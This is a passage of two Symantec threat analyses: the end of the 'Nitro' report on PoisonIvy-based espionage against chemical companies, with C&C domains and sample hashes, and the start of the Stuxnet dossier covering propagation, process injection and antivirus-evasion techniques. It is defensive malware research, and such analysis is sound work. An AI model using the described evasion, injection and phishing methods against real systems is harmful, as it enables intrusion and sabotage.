industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks. As the pattern of chemical industry targets emerged, we internally code-named the attack campaign Nitro. The attack wave started in late July 2011 and continued into midSeptember 2011. However, artifacts of the attack wave such as Command and Control (C&C) servers are also used as early as April 2011 and against targets outside the chemical industry. The purpose of the attacks appears to be industrial espionage, collecting intellectual property for competitive advantage. Targets The attackers have changed their targets over time. From late April to early May, the attackers focused on human rights related NGOs. They then moved on to the motor industry in late May. From June until midJuly no activity was detected. At this point, the current attack campaign against the chemical industry began. This particular attack has lasted much longer than previous attacks, spanning two and a half months. Security Response The Nitro Attacks: Stealing Secrets from the Chemical Industry A total of 29 companies in the chemical sector were confirmed to be targeted in this attack wave and another 19 in various other sectors, primarily the defense sector, were seen to be affected as well. These 48 companies are the minimum number of companies targeted and likely other companies were also targeted. In a recent two week period, 101 unique IP addresses contacted a command and control server with traffic consistent with an infected machine. These IPs represented 52 different unique Internet Service Providers or organizations in 20 countries. Companies affected include: Multiple Fortune 100 companies involved in research and development of chemical compounds and advanced materials. Companies that develop advanced materials primarily for military vehicles. Companies involved in developing manufacturing infrastructure for the chemical and advanced materials industry. Attack methodology The attackers first researched desired targets and then sent an email specifically to the target. Each organization typically only saw a handful of employees at the receiving end of these emails. However, in one organization almost 500 recipients received a mail, while in two other organizations, more than 100 were selected. While the attackers used different pretexts when sending these malicious emails, two methodologies stood out. First, when a specific recipient was targeted, the mails often purported to be meeting invitations from established business partners. Secondly, when the emails were being sent to a broad set of recipients, the mails purported to be a necessary security update. The emails then contained an attachment that was either an executable that appeared to be a text file based on the file name and icon, or a password-protected archive containing an executable file with the password provided in the email. In both cases, the executable file was a self-extracting executable containing PoisonIvy, a common backdoor Trojan developed by a Chinese speaker. When the recipient attempted to open the attachment, they would inadvertently execute the file, causing PoisonIvy to be installed. Once PoisonIvy was installed, it contacted a C&C server on TCP port 80 using an encrypted communication protocol. Using the C&C server, the attackers then instructed the compromised computer to provide the infected computer s IP address, the names of all other computers in the workgroup or domain, and dumps of Windows cached password hashes. By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes, the attackers then began traversing the network infecting additional computers. Typically, their primary goal is to obtain domain administrator credentials and/or gain access to a system storing intellectual property. Domain administrator credentials make it easier for the attacker to find servers hosting the desired intellectual property and gain access to the sensitive materials. The attackers may have also downloaded and installed additional tools to penetrate the network further. While the behavior of the attackers differs slightly in each compromise, generally once the attackers have identified the desired intellectual property, they copy the content to archives on internal systems they use as internal staging servers. This content is then uploaded to a remote site outside of the compromised organization completing the attack. Page 2 The Nitro Attacks: Stealing Secrets from the Chemical Industry Security Response Geographic Spread Figure 1 shows the location of infected computers. This data is derived from the IP addresses of machines connecting back to the command and control server. The majority of infected machines are located in the US, Bangladesh and the UK; however, overall there is wide geographical spread of infections. Figure 1 Geographic location of infected computers Figure 2 shows the country of origin of the organizations targeted by these attacks. While the US and UK again figure highly here, overall the geographical spread is different. This means that the infected computers are rarely located within the organizations headquarters or country of origin. Figure 2 Country of origin of targeted organizations* 2 Denmark UK 5 USA 12 Belgium 1 1 Netherlands 1 Italy 1 Japan 1 Saudi Arabia *Additional confirmed infections exist; however, they did not contact the command and control server during the two-week period we were monitoring it. Page 3 Security Response The Nitro Attacks: Stealing Secrets from the Chemical Industry There are two possible explanations for this: The attackers are targeting sites, or individuals in certain sites, which they know have access to certain data that is of interest to the attacker. The attackers are targeting sites or individuals that they believe have less security measures in place and are therefore an easier access point into the victims networks. We can conclude that the attackers are not targeting organizations in a particular country. Attribution The attacks were traced back to a computer system that was a virtual private server (VPS) located in the United States. However, the system was owned by a 20-something male located in the Hebei region in China. We internally have given him the pseudonym of Covert Grove based on a literal translation of his name. He attended a vocational school for a short period of time specializing in network security and has limited work experience, most recently maintaining multiple network domains of the vocational school. Covert Grove claimed to have the U.S.-based VPS for the sole purpose of using the VPS to log into the QQ instant message system, a popular instant messaging system in China. By owning a VPS, he would have a static IP address. He claims this was the sole purpose of the VPS. And by having a static IP address, he could use a feature provided by QQ to restrict login access to particular IP addresses. The VPS cost was RMB200 (US$32) a month. While possible, with an expense of RMB200 a month for such protection and the usage of a US-based VPS, the scenario seems suspicious. We were unable to recover any evidence the VPS was used by any other authorized or unauthorized users. Further, when prompted regarding hacking skills, Covert Grove immediately provided a contact that would perform hacking for hire . Whether this contact is merely an alias or a different individual has not been determined. We are unable to determine if Covert Grove is the sole attacker or if he has a direct or only indirect role. Nor are we able to definitively determine if he is hacking these targets on behalf of another party or multiple parties. Technical details As mentioned above, the threat used to compromise the targeted networks is Poison Ivy, a Remote Access Tool (RAT). This application is freely available from poisonivy-rat.com. It comes fully loaded with a number of plug-ins to give an attacker complete control of the compromised computer. Delivery The method of delivery has changed over time as the attackers have changed targets. Older attacks involved a self-extracting archive with a suggestive name, for example: Human right report of north Africa under the war. . The most recent attacks focusing on the chemical industry are using password-protected 7zip files which, when extracted, contain a self-extracting executable. The password to extract the 7zip file is included in the email. This extra stage is used to prevent automated systems from extracting the self-extracting archive. Some example file names using this technique include: AntiVirus_update_package.7z acquisition.7z offer.7z update_flashplayer10ax.7z Page 4 The Nitro Attacks: Stealing Secrets from the Chemical Industry Security Response An example of an email used to send the attachment can be seen in figure Figure 3 Malicious email The email is quite generic, applicable to any corporate user. Some of the subject lines will vary and may include the name of the targeted company in an attempt to be more convincing. Threat details When the self-extracting archive file is executed, it will drop two files. Examples of file names that are used include: %Temp%\happiness.txt %Temp%\xxxx.exe The executable file, xxxx.exe in this case, is then executed. The second file, happiness.txt, contains custom code in binary format that is encrypted and used by xxxx.exe. The xxxx.exe file copies happiness.txt to C:\PROGRAM FILES\common files\ ODBC\ODUBC.DLL and to C:\WINDOWS\system32\jql.sys. It then loads the contents of the encrypted file and injects it into the explorer.exe and iexplore.exe processes. The injected code copies xxxx.exe to %System%\winsys.exe and connects to the Command and Control (C&C) server on TCP port 80. The communication with the server is a handshake using an encryption algorithm (Camellia). Once the Trojan establishes the server s authenticity, it expects a variable-size block of binary code that is read from the server straight into the virtual space for iexplore.exe and then executed. When an executable is compiled, the compiler will store some metadata in the compiled executable. One particular piece of relevant metadata is the location of the compiled code on disk. The path in this instance contained Chinese characters and was: C:\Documents and Settings\Administrator\ \Release\ .pdb This translates to: C:\Documents and Settings\Administrator\[Desktop]\[New Folder]\[read the file]\Release\[read the file].pdb Page 5 The Nitro Attacks: Stealing Secrets from the Chemical Industry Security Response Command and Control (C&C) When executed, the Poison Ivy threat, or Backdoor.Odivy, connects to a command and control (C&C) server over TCP port 80. A number of different C&C domains and IP addresses were identified. The domains and IPs are listed in table 1. The majority of samples connect to a domain; however one subset of samples connected directly to the IP address 204.74.215.58, which belonged to the Chinese QQ user mentioned previously and was also associated with antivirus-groups.com. Related Attacks Table 1 C&C domains and IPs Domain pr[REMOVED].noip.org 173.252.207.71, 173.252.205.36, 173.252.205.37, 173.252.205.64 antivirus-groups.com 74.82.166.205, 204.74.215.58 domain.rm6.org 216.131.95.22, 222.255.28.27 Several other hacker groups have also anti-virus.sytes.net 173.252.205.36, 173.252.205.37, 173.252.205.64 begun targeting some of the same chemical companies in this time period. Attackers are sending malicious PDF and DOC files, which use exploits to drop variants of Backdoor.Sogu. This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users. Determining if the two groups are related is difficult, but any relationship appears unlikely. The attackers described in this document use a very basic delivery platform; compressed self-extracting archives sometimes sent to a large number of recipients. The Sogu gang, in contrast, use PDF and DOC files in very tailored, targeted emails. The Sogu gang use a custom developed threat Backdoor.Sogu, whereas the group described in this document use an off the shelf threat Poison Ivy. While the number of Sogu targets is currently small relative to the Poison Ivy attacks, we continue to monitor their activities. Summary Numerous targeted attack campaigns are occurring every week. However, relative to the total number of attacks, few are fully disclosed. These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage, military institutions, and governmental organizations often in search of documents related to current political events and human rights organizations. This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs, formulas, and manufacturing processes. Page 6 Security Response The Nitro Attacks: Stealing Secrets from the Chemical Industry Appendix Example MD5s of PoisonIvy samples used in these attacks: 091457444b7e7899c242c5125ddc0571 6e99585c3fbd4f3a55bd8f604cb35f38 07e266f7fb3c36a1f3a5c5d2d229a478 17e7022496d8092d3ca76ae9524a7260 2f37912e7cb6e5c478e6dc3d0e381a24 5d075e9536c5494745135c1176981c96 76000c77ea9a214f5b2ae8cc387809db a98d2c90b9494fc885c7cd35d43666ea c128c40bd8acb282288e8138352ce4e1 cab66da82594ff5266ac8dd89e3d1539 70fcb3446fce23b18d9a12b2ed911e52 c53c93a445d751387eb167e5a2b901da dd5715cb3b0cdddbe131f03cc08f0f57 0f54a9757f1a2fef2b04b776714a7546 37f70717f549f1938e5785527e56978d 31346e5b39ddb095d76071ac86da4c2e 330ddac1f605ff8abf60880c584ed797 457a2a8d0784e9fc8e49f6ef60f7f29e 87aeec7f7c4ec1b6dc5e6c39b28d8273 8d36fd85d9c7d1f4bb170a28cc23498a de7e293aa9c4d849dc080f3e87573b24 64a4ad90a55e7b6c30c46135435f50a2 Page 7 Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About the authors Eric Chien is a Technical Director for Security Response and Gavin O Gorman is a Security Response Manager in Symantec. For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 (800) 745 6054. Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA +1 (650) 527-8000 www.symantec.com About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information. Headquartered in Moutain View, Calif., Symantec has operations in more than 40 countries. More information is available at www.symantec.com. Copyright 2011 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Security Response W32.Stuxnet Dossier Version 1.4 (February 2011) Nicolas Falliere, Liam O Murchu, and Eric Chien Contents Introduction........................................................ 1 Executive Summary............................................ 2 Attack Scenario................................................... 3 Timeline............................................................... 4 Infection Statistics.............................................. 5 Stuxnet Architecture........................................ 12 Installation........................................................ 16 Load Point......................................................... 20 Command and Control...................................... 21 Windows Rootkit Functionality........................ 24 Stuxnet Propagation Methods......................... 25 Modifying PLCs................................................. 36 Payload Exports................................................ 50 Payload Resources............................................ 51 Variants............................................................. 53 Summary........................................................... 55 Appendix A........................................................ 56 Appendix B ....................................................... 58 Appendix C........................................................ 59 Revision History................................................ 68 While the bulk of the analysis is complete, Stuxnet is an incredibly large and complex threat. The authors expect to make revisions to this document shortly after release as new information is uncovered or may be publicly disclosed. This paper is the work of numerous individuals on the Symantec Security Response team over the last three months well beyond the cited authors. Without their assistance, this paper would not be possible. Introduction W32.Stuxnet has gained a lot of attention from researchers and media recently. There is good reason for this. Stuxnet is one of the most complex threats we have analyzed. In this paper we take a detailed look at Stuxnet and its various components and particularly focus on the final goal of Stuxnet, which is to reprogram industrial control systems. Stuxnet is a large, complex piece of malware with many different components and functionalities. We have already covered some of these components in our blog series on the topic. While some of the information from those blogs is included here, this paper is a more comprehensive and in-depth look at the threat. Stuxnet is a threat that was primarily written to target an industrial control system or set of similar systems. Industrial control systems are used in gas pipelines and power plants. Its final goal is to reprogram industrial control systems (ICS) by modifying code on programmable logic controllers (PLCs) to make them work in a manner the attacker intended and to hide those changes from the operator of the equipment. In order to achieve this goal the creators amassed a vast array of components to increase their chances of success. This includes zero-day exploits, a Windows rootkit, the first ever PLC rootkit, antivirus evasion Security Response W32.Stuxnet Dossier techniques, complex process injection and hooking code, network infection routines, peer-to-peer updates, and a command and control interface. We take a look at each of the different components of Stuxnet to understand how the threat works in detail while keeping in mind that the ultimate goal of the threat is the most interesting and relevant part of the threat. Executive Summary Stuxnet is a threat targeting a specific industrial control system likely in Iran, such as a gas pipeline or power plant. The ultimate goal of Stuxnet is to sabotage that facility by reprogramming programmable logic controllers (PLCs) to operate as the attackers intend them to, most likely out of their specified boundaries. Stuxnet was discovered in July, but is confirmed to have existed at least one year prior and likely even before. The majority of infections were found in Iran. Stuxnet contains many features such as: Self-replicates through removable drives exploiting a vulnerability allowing auto-execution. Microsoft Windows Shortcut LNK/PIF Files Automatic File Execution Vulnerability (BID 41732) Spreads in a LAN through a vulnerability in the Windows Print Spooler. Microsoft Windows Print Spooler Service Remote Code Execution Vulnerability (BID 43073) Spreads through SMB by exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability (BID 31874). Copies and executes itself on remote computers through network shares. Copies and executes itself on remote computers running a WinCC database server. Copies itself into Step 7 projects in such a way that it automatically executes when the Step 7 project is loaded. Updates itself through a peer-to-peer mechanism within a LAN. Exploits a total of four unpatched Microsoft vulnerabilities, two of which are previously mentioned vulnerabilities for self-replication and the other two are escalation of privilege vulnerabilities that have yet to be disclosed. Contacts a command and control server that allows the hacker to download and execute code, including updated versions. Contains a Windows rootkit that hide its binaries. Attempts to bypass security products. Fingerprints a specific industrial control system and modifies code on the Siemens PLCs to potentially sabotage the system. Hides modified code on PLCs, essentially a rootkit for PLCs. Page 2 Security Response W32.Stuxnet Dossier Attack Scenario The following is a possible attack scenario. It is only speculation driven by the technical features of Stuxnet. Industrial control systems (ICS) are operated by a specialized assembly like code on programmable logic controllers (PLCs). The PLCs are often programmed from Windows computers not connected to the Internet or even the internal network. In addition, the industrial control systems themselves are also unlikely to be connected to the Internet. First, the attackers needed to conduct reconnaissance. As each PLC is configured in a unique manner, the attackers would first need the ICS s schematics. These design documents may have been stolen by an insider or even retrieved by an early version of Stuxnet or other malicious binary. Once attackers had the design documents and potential knowledge of the computing environment in the facility, they would develop the latest version of Stuxnet. Each feature of Stuxnet was implemented for a specific reason and for the final goal of potentially sabotaging the ICS. Attackers would need to setup a mirrored environment that would include the necessary ICS hardware, such as PLCs, modules, and peripherals in order to test their code. The full cycle may have taken six months and five to ten core developers not counting numerous other individuals, such as quality assurance and management. In addition their malicious binaries contained driver files that needed to be digitally signed to avoid suspicion. The attackers compromised two digital certificates to achieve this task. The attackers would have needed to obtain the digital certificates from someone who may have physically entered the premises of the two companies and stole them, as the two companies are in close physical proximity. To infect their target, Stuxnet would need to be introduced into the target environment. This may have occurred by infecting a willing or unknowing third party, such as a contractor who perhaps had access to the facility, or an insider. The original infection may have been introduced by removable drive. Once Stuxnet had infected a computer within the organization it began to spread in search of Field PGs, which are typical Windows computers but used to program PLCs. Since most of these computers are non-networked, Stuxnet would first try to spread to other computers on the LAN through a zero-day vulnerability, a two year old vulnerability, infecting Step 7 projects, and through removable drives. Propagation through a LAN likely served as the first step and propagation through removable drives as a means to cover the last and final hop to a Field PG that is never connected to an untrusted network. While attackers could control Stuxnet with a command and control server, as mentioned previously the key computer was unlikely to have outbound Internet access. Thus, all the functionality required to sabotage a system was embedded directly in the Stuxnet executable. Updates to this executable would be propagated throughout the facility through a peer-to-peer method established by Stuxnet. When Stuxnet finally found a suitable computer, one that ran Step 7, it would then modify the code on the PLC. These modifications likely sabotaged the system, which was likely considered a high value target due to the large resources invested in the creation of Stuxnet. Victims attempting to verify the issue would not see any rogue PLC code as Stuxnet hides its modifications. While their choice of using self-replication methods may have been necessary to ensure they d find a suitable Field PG, they also caused noticeable collateral damage by infecting machines outside the target organization. The attackers may have considered the collateral damage a necessity in order to effectively reach the intended target. Also, the attackers likely completed their initial attack by the time they were discovered. Page 3 W32.Stuxnet Dossier Security Response Timeline Table 1 W32.Stuxnet Timeline Date Event November 20, 2008 Trojan.Zlob variant found to be using the LNK vulnerability only later identified in Stuxnet. April, 2009 Security magazine Hakin9 releases details of a remote code execution vulnerability in the Printer Spooler service. Later identified as MS10-061. June, 2009 Earliest Stuxnet sample seen. Does not exploit MS10-046. Does not have signed driver files. January 25, 2010 Stuxnet driver signed with a valid certificate belonging to Realtek Semiconductor Corps. March, 2010 First Stuxnet variant to exploit MS10-046. June 17, 2010 Virusblokada reports W32.Stuxnet (named RootkitTmphider). Reports that it s using a vulnerability in the processing of shortcuts/.lnk files in order to propagate (later identified as MS10-046). July 13, 2010 Symantec adds detection as W32.Temphid (previously detected as Trojan Horse). July 16, 2010 Microsoft issues Security Advisory for Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198) that covers the vulnerability in processing shortcuts/.lnk files. Verisign revokes Realtek Semiconductor Corps certificate. July 17, 2010 Eset identifies a new Stuxnet driver, this time signed with a certificate from JMicron Technology Corp. July 19, 2010 Siemens report that they are investigating reports of malware infecting Siemens WinCC SCADA systems. Symantec renames detection to W32.Stuxnet. July 20, 2010 Symantec monitors the Stuxnet Command and Control traffic. July 22, 2010 Verisign revokes the JMicron Technology Corps certificate. August 2, 2010 Microsoft issues MS10-046, which patches the Windows Shell shortcut vulnerability. August 6, 2010 Symantec reports how Stuxnet can inject and hide code on a PLC affecting industrial control systems. September 14, 2010 Microsoft releases MS10-061 to patch the Printer Spooler Vulnerability identified by Symantec in August. Microsoft report two other privilege escalation vulnerabilities identified by Symantec in August. September 30, 2010 Symantec presents at Virus Bulletin and releases comprehensive analysis of Stuxnet. Page 4 Security Response W32.Stuxnet Dossier Infection Statistics On July 20, 2010 Symantec set up a system to monitor traffic to the Stuxnet command and control (C&C) servers. This allowed us to observe rates of infection and identify the locations of infected computers, ultimately working with CERT and other organizations to help inform infected parties. The system only identified command and control traffic from computers that were able to connect to the C&C servers. The data sent back to the C&C servers is encrypted and includes data such as the internal and external IP address, computer name, OS version, and if it s running the Siemens SIMATIC Step 7 industrial control software. As of September 29, 2010, the data has shown that there are approximately 100,000 infected hosts. The following graph shows the number of unique infected hosts by country: Figure 1 Infected Hosts The following graph shows the number of infected organizations by country based on WAN IP addresses: Figure 2 Infected Organizations (By WAN IP) Page 5 Security Response W32.Stuxnet Dossier We have observed over 40,000 unique external IP addresses, from over 155 countries. Looking at the percentage of infected hosts by country, shows that approximately 60% of infected hosts are in Iran: Figure 3 Geographic Distribution of Infections Stuxnet aims to identify those hosts which have the Siemens Step 7 software installed. The following chart shows the percentage of infected hosts by country with the Siemens software installed. Figure 4 Percentage of Stuxnet infected Hosts with Siemens Software installed Looking at newly infected IP addresses per day, on August 22 we observed that Iran was no longer reporting new infections. This was most likely due to Iran blocking outward connections to the command and control servers, rather than a drop-off in infections. Page 6 Security Response W32.Stuxnet Dossier Figure 5 Rate of Stuxnet infection of new IPs by Country The concentration of infections in Iran likely indicates that this was the initial target for infections and was where infections were initially seeded. While Stuxnet is a targeted threat, the use of a variety of propagation techniques (which will be discussed later) has meant that Stuxnet has spread beyond the initial target. These additional infections are likely to be collateral damage unintentional side-effects of the promiscuous initial propagation methodology utilized by Stuxent. While infection rates will likely drop as users patch their computers against the vulnerabilities used for propagation, worms of this nature typically continue to be able to propagate via unsecured and unpatched computers. By February 2011, we had gathered 3,280 unique samples representing three different variants. As described in the Configuration Data Block section, Stuxnet records a timestamp, along with other system information, within itself each time a new infection occurs. Thus, each sample has a history of every computer that was infected, including the first infection. Using this data, we are able to determine: Stuxnet was a targeted attack on five different organizations, based on the recorded computer domain name. 12,000 infections can be traced back to these 5 organizations Three organizations were targeted once, one was targeted twice, and another was targeted three times. Domain A was targeted twice (Jun 2009 and Apr 2010). The same computer appears to have been infected each time. Domain B was targeted three times (Jun 2009, Mar 2010, and May 2010). Domain C was targeted once (Jul 2009). Domain D was targeted once (Jul 2009). Domain E appears to have been targeted once (May 2010), but had three initial infections. (I.e., the same initially infected USB key was inserted into three different computers.) 12,000 infections originated from these initial 10 infections. 1,800 different domain names were recorded. Organizations were targeted in June 2009, July 2009, March 2010, April 2010, and May 2010. All targeted organizations have a presence in Iran. The shortest span between compile time and initial infection was 12 hours. The longest span between compile time and initial infection was 28 days. The average span between compile time and initial infection was 19 days. The median span between compile time and initial infection was 26 days. Note any timing information could be incorrect due to time zones or incorrectly set system times. Page 7 W32.Stuxnet Dossier Security Response The following table provides details on the initial targets. Table 2 Attack Waves Against the Initial Targets Attack Wave Site Compile Time Infection Time Time to Infect Attack Wave 1 Domain A June, 22 2009 16:31:47 June 23, 2009 4:40:16 0 days 12 hours Domain B June, 22 2009 16:31:47 June 28, 2009 23:18:14 6 days 6 hours Domain C June, 22 2009 16:31:47 July 7, 2009 5:09:28 14 days 12 hours Domain D June, 22 2009 16:31:47 July 19, 2009 9:27:09 26 days 16 hours Attack Wave 2 Domain B March, 1 2010 5:52:35 March 23, 2010 6:06:07 22 days 0 hours Attack Wave 3 Domain A April, 14 2010 10:56:22 April 26, 2010 9:37:36 11 days 22 hours Domain E April, 14 2010 10:56:22 May 11, 2010 6:36:32 26 days 19 hours Domain E April, 14 2010 10:56:22 May 11, 2010 11:45:53 27 days 0 hours Domain E April, 14 2010 10:56:22 May 11, 2010 11:46:10 27 days 0 hours Domain B April, 14 2010 10:56:22 May 13, 2010 5:02:23 28 days 18 hours This graph shows the time required after compilation to the first infection. Figure 6 Days Before Infection The following is a graph that shows the clusters of infections resulting from the 10 different initial infections. Each infection is a black circle. The red circles represent the variant used. The other colored circles represent the initial infection with each initial domain having its own color (green, yellow, blue, purple, and orange). Page 8 Security Response W32.Stuxnet Dossier Figure 7 Clusters of Infections Based on Initial Infections Page 9 Security Response W32.Stuxnet Dossier There are a total of 10 clusters representing 10 initial infections. The attack on Domain B in March 2010 spread the most successfully. Early attacks in June 2009 show the fewest infections; however, these numbers are skewed because of the low number of June 2009 samples that were recovered. The following picture shows a zoomed-in view of the lower right of the image. This cluster is the attack on Domain E with the initial infection time of 2010/05/11 11:46:10 with the April 2010 variant. Figure 8 Domain E Attack (detail) You can see that the graph primarily has linear branches such that a single infection does not infect many computers, but only a single computer. While this is partially due to rate-limiting code within Stuxnet for example, a USB infection will delete itself from the USB key after the third infection a larger influencer may be the limited number of samples that were recovered. Additional samples would likely yield many more sub-branches. Stuxnet s propagation mechanisms are Figure 9 all LAN based and thus, the final target Variant Infection Distribution must be assumed in close network proximity to the initial seeded targets. Nevertheless, with 1,800 different computer domains out of 12,000 infections, Stuxnet clearly escaped the original organizations due to collaboration with partner organizations. Of the approximately 12,000 infections, the chart in figure 9 shows which variants resulted in the most infections. Page 10 Security Response W32.Stuxnet Dossier The March 2010 variant accounts for 69% of all infections. Thus, the March 2010 variant may have been seeded more successfully. Note the single targeted organization in March 2010 was also targeted in June 2009 and in April 2010 and neither of those other seeded attempts resulted in as many infections as in March. While smaller infection rates for the June 2009 variant would be expected since it had less replication methods, the April 2010 variant is almost identical to the March 2010 variant. Thus, either the different seed within the same organization resulted in significantly different rates of spread (e.g., seeding in a computer in a department with less computer-security restrictions) or the data is skewed due to the small percentage of samples recovered. Page 11 W32.Stuxnet Dossier Security Response Stuxnet Architecture Organization Stuxnet has a complex architecture that is worth outlining before continuing with our analysis. The heart of Stuxnet consists of a large .dll file that contains many different exports and resources. In addition to the large .dll file, Stuxnet also contains two encrypted configuration blocks. The dropper component of Stuxnet is a wrapper program that contains all of the above components stored inside itself in a section name stub . This stub section is integral to the working of Stuxnet. When the threat is executed, the wrapper extracts the .dll file from the stub section, maps it into memory as a module, and calls one of the exports. A pointer to the original stub section is passed to this export as a parameter. This export in turn will extract the .dll file from the stub section, which was passed as a parameter, map it into memory and call another different export from inside the mapped .dll file. The pointer to the original stub section is again passed as a parameter. This occurs continuously throughout the execution of the threat, so the original stub section is continuously passed around between different processes and functions as a parameter to the main payload. In this way every layer of the threat always has access to the main .dll and the configuration blocks. In addition to loading the .dll file into memory and calling an export directly, Stuxnet also uses another technique to call exports from the main .dll file. This technique is to read an executable template from its own resources, populate the template with Table 3 appropriate data, such as DLL Exports which .dll file to load and which export to call, and then Export # Function to inject this newly populated Infect connected removable drives, starts RPC server executable into another pro2 Hooks APIs for Step 7 project file infections cess and execute it. The newly populated executable tem4 Calls the removal routine (export 18) plate will load the original .dll Verifies if the threat is installed correctly file and call whatever export Verifies version information the template was populated Calls Export 6 with. Although the threat uses these two different techniques to call exports in the main .dll file, it should be clear that all the functionality of the threat can be ascertained by analyzing all of the exports from the main .dll file. Exports As mentioned above, the main .dll file contains all of the code to control the worm. Each export from this .dll file has a different purpose in controlling the threat as outlined in table 3. Updates itself from infected Step 7 projects Updates itself from infected Step 7 projects Step 7 project file infection routine Initial entry point Main installation Replaces Step 7 DLL Uninstalls Stuxnet Infects removable drives Network propagation routines Check Internet connection RPC Server Command and control routine Command and control routine Updates itself from infected Step 7 projects Same as 1 Page 12 W32.Stuxnet Dossier Security Response Resources The main .dll file also contains many different resources that the exports above use in the course of controlling the worm. The resources vary from full .dll files to template executables to configuration files and exploit modules. Both the exports and resources are discussed in the sections below. Table 4 DLL Resources Resource ID Function MrxNet.sys load driver, signed by Realtek DLL for Step 7 infections CAB file for WinCC infections Data file for Resource 201 Autorun version of Stuxnet Step 7 replacement DLL Data file (%windows%\help\winmic.fts) Template PE file used for injection Exploits MS08-067 to spread via SMB. Exploits MS10-061 Print Spooler Vulnerability Internet connection check LNK template file used to build LNK exploit USB Loader DLL ~WTR4141.tmp MRxnet.sys rootkit driver Exploits Windows Win32k.sys Local Privilege Escalation (MS10-073) Bypassing Behavior Blocking When Loading DLLs Whenever Stuxnet needs to load a DLL, including itself, it uses a special method designed to bypass behaviorblocking and host intrusion-protection based technologies that monitor LoadLibrary calls. Stuxnet calls LoadLibrary with a specially crafted file name that does not exist on disk and normally causes LoadLibrary to fail. However, W32.Stuxnet has hooked Ntdll.dll to monitor for requests to load specially crafted file names. These specially crafted filenames are mapped to another location instead a location specified by W32.Stuxnet. That location is generally an area in memory where a .dll file has been decrypted and stored by the threat previously. The filenames used have the pattern of KERNEL32.DLL.ASLR.[HEXADECIMAL] or SHELL32.DLL.ASLR. [HEXADECIMAL], where the variable [HEXADECIMAL]is a hexadecimal value. The functions hooked for this purpose in Ntdll.dll are: ZwMapViewOfSection ZwCreateSection ZwOpenFile ZwCloseFile ZwQueryAttributesFile ZwQuerySection Once a .dll file has been loaded via the method shown above, GetProcAddress is used to find the address of a specific export from the .dll file and that export is called, handing control to that new .dll file. Page 13 W32.Stuxnet Dossier Security Response Injection Technique Whenever an export is called, Stuxnet typically injects the entire DLL into another process and then just calls the particular export. Stuxnet can inject into an existing or newly created arbitrary process or a preselected trusted process. When injecting into a trusted process, Stuxnet may keep the injected code in the trusted process or instruct the trusted process to inject the code into another currently running process. The trusted process consists of a set of default Windows processes and a variety of security products. The currently running processes are enumerated for the following: Kaspersky KAV (avp.exe) Mcafee (Mcshield.exe) AntiVir (avguard.exe) BitDefender (bdagent.exe) Etrust (UmxCfg.exe) F-Secure (fsdfwd.exe) Symantec (rtvscan.exe) Symantec Common Client (ccSvcHst.exe) Eset NOD32 (ekrn.exe) Trend Pc-Cillin (tmpproxy.exe) In addition, the registry is searched for indicators that the following programs are installed: KAV v6 to v9 McAfee Trend PcCillin If one of the above security product processes are detected, version information of the main image is extracted. Based on the version number, the target process of injection will be determined or the injection process will fail if the threat considers the security product non-bypassable. The potential target processes for the injection are as follows: Lsass.exe Winlogon.exe Svchost.exe The installed security product process Table 5 describes which process is used for injection depending on which security products are installed. In addition, Stuxnet will determine if it needs to use one of the two currently undisclosed privilege escalation vulnerabilities before injecting. Then, Stuxnet executes the target process in suspended mode. A template PE file is extracted from itself and a new section called .verif is created. The section is made large enough so that the entry point address of the target process falls within the .verif section. At that address in the template PE file, Stuxnet places a jump to the actual desired entry point of the injected code. These bytes are then written to the target process and ResumeThread is called allowing the process to execute and call the injected code. This technique may bypass security products that employ behavior-blocking. In addition to creating the new section and patching the entry point, the .stub section of the wrapper .dll file (that contains the main .dll file and configuration data) is mapped to the memory of the new process by means of shared sections. So the new Table 5 Process Injection Security Product Installed Injection target KAV v1 to v7 LSASS.EXE KAV v8 to v9 KAV Process McAfee Winlogon.exe AntiVir Lsass.exe BitDefender Lsass.exe ETrust v5 to v6 Fails to Inject ETrust (Other) Lsass.exe F-Secure Lsass.exe Symantec Lsass.exe ESET NOD32 Lsass.exe Trend PC Cillin Trend Process Page 14 Security Response W32.Stuxnet Dossier process has access to the original .stub section. When the newly injected process is resumed, the injected code unpacks the .dll file from the mapped .stub section and calls the desired export. Instead of executing the export directly, the injected code can also be instructed to inject into another arbitrary process instead and within that secondary process execute the desired export. Configuration Data Block The configuration data block contains all the values used to control how Stuxnet will act on a compromised computer. Example fields in the configuration data can be seen in the Appendix. When a new version of Stuxnet is created (using the main DLL plus the 90h-byte data block plus the configuration data), the configuration data is updated, and also a computer description block is appended to the block (encoded with a NOT XOR 0xFF). The computer description block contains information such as computer name, domain name, OS version, and infected S7P paths. Thus, the configuration data block can grow pretty big, larger than the initial 744 bytes. The following is an example of the computer description block : 5.1 - 1/1/0 - 2 - 2010/09/22-15:15:47 127.0.0.1, [COMPUTER NAME] [DOMAIN NAME] [c:\a\1. zip:\proj.s7p] The following describes each field: 5.1 - Major OS Version and Minor OS Version 1/1/0 Flags used by Stuxnet Flag specifying if the computer is part of a workgroup or domain 2010/09/22-15:15:47 The time of infection. 127.0.0.1 Up to IP addresses of the compromised computer (not in the June 2009 version). [COMPUTER NAME] The computer name. [DOMAIN NAME] The domain or workgroup name. [c:\a\1.zip:\proj.s7p] The file name of infected project file. Page 15 Security Response W32.Stuxnet Dossier Installation Export 15 is the first export called when the .dll file is loaded for the first time. It is responsible for checking that the threat is running on a compatible version of Windows, checking whether the computer is already infected or not, elevating the privilege of the current process to system, checking what antivirus products are installed, and what the best process to inject into is. It then injects the .dll file into the chosen process using a unique injection technique described in the Injection Technique section and calls export 16. Figure 10 